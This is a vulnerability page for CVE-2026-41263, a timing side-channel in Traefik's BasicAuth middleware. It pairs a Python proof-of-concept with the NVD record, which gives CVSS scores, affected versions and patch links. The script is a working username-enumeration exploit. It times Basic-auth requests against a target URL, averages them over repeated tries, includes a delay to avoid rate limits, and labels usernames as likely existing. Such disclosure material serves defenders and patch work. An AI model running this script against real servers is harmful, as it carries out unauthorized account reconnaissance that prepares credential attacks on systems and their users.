CVE-2026-41263

import requests import time import base64 # Target URL (Replace with actual target) TARGET_URL = "http://localhost:8080/protected" def check_username_timing(username): """ Checks if a username exists by measuring the response time. Shorter time usually indicates the user does not exist (short-circuit). Longer time indicates the user exists (bcrypt hash calculation). """ # Create a dummy password, we only care about the username existence credentials = f"{username}:dummy_password" b64_credentials = base64.b64encode(credentials.encode()).decode() headers = { "Authorization": f"Basic {b64_credentials}" } start_time = time.time() try: # Send request, we expect 401 Unauthorized, but the timing varies response = requests.get(TARGET_URL, headers=headers, timeout=5) except requests.RequestException as e: print(f"Error connecting: {e}") return None end_time = time.time() return end_time - start_time if __name__ == "__main__": # List of potential usernames to brute-force usernames = ["admin", "user", "test", "root", "nonexistent_user_123"] iterations = 10 # Number of requests to average out network jitter print(f"{'Username':<20} | {'Avg Time (s)':<15} | {'Status'}") print("-" * 50) for user in usernames: total_time = 0 for _ in range(iterations): duration = check_username_timing(user) if duration: total_time += duration time.sleep(0.1) # Small delay to avoid triggering rate limits immediately avg_duration = total_time / iterations if total_time > 0 else 0 # This threshold depends on network latency and server hardware. # Statistical analysis (e.g., t-test) is better for production. # Here we assume > 0.05s difference is significant for example. status = "LIKELY EXISTS" if avg_duration > 0.05 else "LIKELY DOESN'T EXIST" print(f"{user:<20} | {avg_duration:.6f} | {status}")

{"cve": {"id": "CVE-2026-41263", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:33.390", "lastModified": "2026-05-01T17:37:12.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences. The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.43", "matchCriteriaId": "71119432-1348-4F69-A0E3-FA74592FA7EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.14", "matchCriteriaId": "AA7AAE16-BBAD-434D-89F5-D52359D11D36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*", "matchCriteriaId": "7881B288-5141-4508-AB71-3F7586168437"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:*", "matchCriteriaId": "AE5788A2-CCF9-4E87-8B94-133874F99CAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:*", "matchCriteriaId": "B133B8F6-1C34-4354-9C1C-A5E063D27BC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "976D40ED-187E-4C95-BB5A-126F06B8FAD9"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/security/advisories/GHSA-6x2q-h3cr-8j2h", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}